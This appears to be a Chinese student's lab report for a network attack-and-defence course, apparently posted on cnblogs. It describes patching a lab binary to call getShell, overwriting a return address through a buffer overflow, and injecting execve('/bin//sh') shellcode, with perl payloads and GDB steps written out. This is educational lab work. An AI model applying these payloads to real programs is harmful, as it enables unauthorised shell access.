首页 > 其他分享 >20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222413 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-06 15:33:47浏览次数:8  
标签:x90 20222413 getshell 2024 2025 地址 实验 shellcode 输入

1.实验内容

在本周的学习过程中,我了解到了许多缓冲区溢出攻击的实际案例、缓冲区溢出攻击的原理和相关基础知识,包括GDB调试器的使用方法、反汇编、基础的汇编语言与指令等,重新温习了函数调用过程和进程管理方面的知识内容。并且通过实验一,我能够了解并熟练完成Linux系统实验相关的基本操作,对shellcode技术有了初步的理解和认识。

2.实验过程

本次实验的对象是一个名为pwn20222413的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。
三个实践内容如下:
(1)手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
第一步:通过共享文件夹将目标文件上传至Linux系统的虚拟机,反汇编查看文件的函数功能。

找到本次实验所用的三个代码片段foo、main和getshell。

文件中main函数"call 8048491"含义为调用8048491处的foo函数,其机器指令为e8 d7 ff ff ff,若修改d7ffffff为,"getShell-80484ba"对应的补码,即可调用getshell。经计算补码为c3ffffff。
第二步:修改文件内容,使main调用getshell
①输入vi pwn20222413进入pwn20222413文件。

②输入:%!xxd进入16进制模式,随后输入/e8 d7找到机器指令对应位置。

③按i编辑,将d7改为c3。

④输入:%!xxd -r转换为原格式后输入:wq保存并退出。

⑤再次反汇编查看文件是否正确更改

第三步:运行文件后得到shell提示符,操作成功

(2)利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
第一步:反汇编,foo函数具有Buffer overflow漏洞,读取字符超过缓冲区的部分会覆盖返回地址


第二步:确认输入字符串后哪些部分会覆盖返回地址
第一次输入1111111122222222333333334444444455555555

第二次输入1111111122222222333333334444444412345678

经检查发现首次输入eip部分全部被覆盖为5,第二次输入时eip部分被覆盖为1234,对比可以找到覆盖返回地址的输入位置,将对应位置改为getshell的内存地址0804847d即可修改返回地址,运行getshell。
第三步:确认字节序

对比第二步第二次输入eip 0x34333231 0x34333231,正确输入为11111111222222223333333344444444\x7d\x84\x04\x08。
第四步:构造输入字符串,使用16进制查看指令xxd查看input文件的内容是否如预期。将input的输入,通过管道符“|”,作为pwn1的输入。

输入ls后得到正确的文件夹内容,成功调用getshell,实验成功。

(3)注入一个自己制作的shellcode并运行这段shellcode。
第一步:修改pwn20222413的设置,设置堆栈可执行和关闭地址随机化。
第二步:构造注入的攻击buf并将其注入目标文件:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。

第三步:打开另一个终端
①找到pwn20222413的进程号为:95182。
②启动gdb调试该进程。
③通过设置断点,来查看注入buf的内存地址。

④在另一个终端中按下回车后,在gbd中输入c,随后输入info r esp。

⑤找到01020304对应的地址0xffffcffc,即为返回地址。shellcode为紧挨着的下一个地址0xffffd000。
第四步:根据shellcode的地址更改shellcode并注入。
perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell

输入ls得到正确返回内容,实验成功。

3.问题及解决方案

  • 问题1:在修改机器指令部分中,我根据实验指导直接输入/e8d7发现找不到目标位置。
  • 问题1解决方案:在文档中e8和d7中间有一个空格,所以在搜索时在e8和d7中间加入一个空格即可找到对应位置。
  • 问题2:在注入shellcode部分中,我发现我的虚拟机中没有相关的execstack指令,更新资源库后在虚拟机中下载对应指令出现报错Unable to locate package execstack。
  • 问题2解决方案:在网络中下载execstack工具包后通过共享文件夹导入虚拟机,在虚拟机中安装。

4.学习感悟、思考等

在之前的学习当中,我接触了许多缓冲区溢出攻击的原理知识和相关案例,但是这次实验是我第一次尝试进行缓冲区溢出攻击。在实验的过程中,我根据实验指导一步步推进实验内容,同时在网络中搜索相关指令的含义,结合实验指导和运行结果进行理解和学习。通过实验,我熟悉了Linux系统的基本操作,学会了实验相关的gdb、vi操作,对于汇编、机器指令、EIP、指令地址有了进一步的理解。同时我也体会到了自主学习的重要性,在课堂之外,仍有广阔的知识天地。这次实验提高了我的自学意识和学习能力,大大激发了我对网络攻防技术的学习兴趣和学习热情,希望能够在未来的学习中了解掌握更多的网络攻防知识。

参考资料

标签:x90,20222413,getshell,2024,2025,地址,实验,shellcode,输入
From: https://www.cnblogs.com/hhshhs/p/18449006

相关文章

  • 2024-2025-1 20241329 《计算机基础与程序设计》第二周学习总结
    作业信息作业归属课程:https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02作业目标:1.数字化2.信息安全3.自学教材:计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并完成云班课测试作......
  • 20222408 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    1.实验内容1.1本周学习内容1.1.1缓冲区溢出的定义和原因定义:写入缓冲区的数据量超过该缓冲区能容纳的最大限度,造成溢出的数据改写了与该缓冲区相邻的原始数据的情形。原因:(直接)由于代码语言的设计问题、程序员的安全意识问题,程序没有严格的内存越界检查;(根本)冯诺依曼体系的安全......
  • 2024-2025-1 20241311 《计算机基础与程序设计》第二周学习总结
    学期(2024-2025-1)学号(20241311)《计算机基础与程序设计》第2周学习总结作业信息这个作业属于哪个课程<班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>(如2024-2025-1计算机基础与程序设计第二周作业)这个作业的目标<写上具体方......
  • 2024-2025-1 20241421 《计算机基础与程序设计》第二周学习总结
    这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标数字化、信息安全、自学教材计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并完成云班课测试......
  • 学期(2024-2025-1) 学号20241425 《计算机基础与程序设计》第2周学习总结
    学期(2024-2025-1)学号20241425《计算机基础与程序设计》第2周学习总结作业信息这个作业属于哪个课程<班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里<作业要求的链接>([2024-2025-1计算机基础与程序设计第二周作业]https://www.cnblogs.com/rocedu/......
  • GESP等级考试 20241006_121124
    官网CCF-GESP编程能力等级认证https://gesp.ccf.org.cn/考钢图形化1579692243025952.pdfhttps://gesp.ccf.org.cn/101/attach/1579692243025952.pdf考钢C++1579675000242208.pdfhttps://gesp.ccf.org.cn/101/attach/1579675000242208.pdf考级相关真题解析-CCF-GESP编程......
  • 20222406 2024-2025-1 《网络与系统攻防技术》实验一实验报告
    202224062024-2025-1《网络与系统攻防技术》实验一实验报告1.实验内容本周深入学习了缓冲区溢出相关内容,收获颇丰。一、理论知识学习学习了缓冲区溢出的基本知识,包括汇编语言,了解了常见的指令如mov(数据传送)、push(压栈)、pop(出栈)、call(调用函数)等的基本功能。同时,对Windows......
  • 2024-2025-1 20241408 《计算机基础与程序设计》第二周学习总结
    2024-2025-120241408《计算机基础与程序设计》第二周学习总结作业信息这个作业属于哪个课程2024-2025-1-计算机基础与程序设计这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标数字化、信息安全、自学教材计算机科学概论......
  • 2024-2025-1 20241318 《计算机基础与程序设计》第二周学习总结
    这个作业属于哪个课程<班级的链接>(如2024-2025-1-计算机基础与程序设计)这个作业要求在哪里https://www.cnblogs.com/rocedu/p/9577842.html#WEEK02这个作业的目标<数字化、信息安全、自学教材(计算机科学概论(第七版)第1章并完成云班课测试、《C语言程序设计》第1章并......
  • 2024-2025-1 20241305 《计算机基础与程序设计》第二周学习总结
    作业信息这个作业属于哪个课程2024-2025-1-计算机基础与程序设计(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP))这个作业要求在哪里2024-2025-1计算机基础与程序设计第二周作业(https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276))......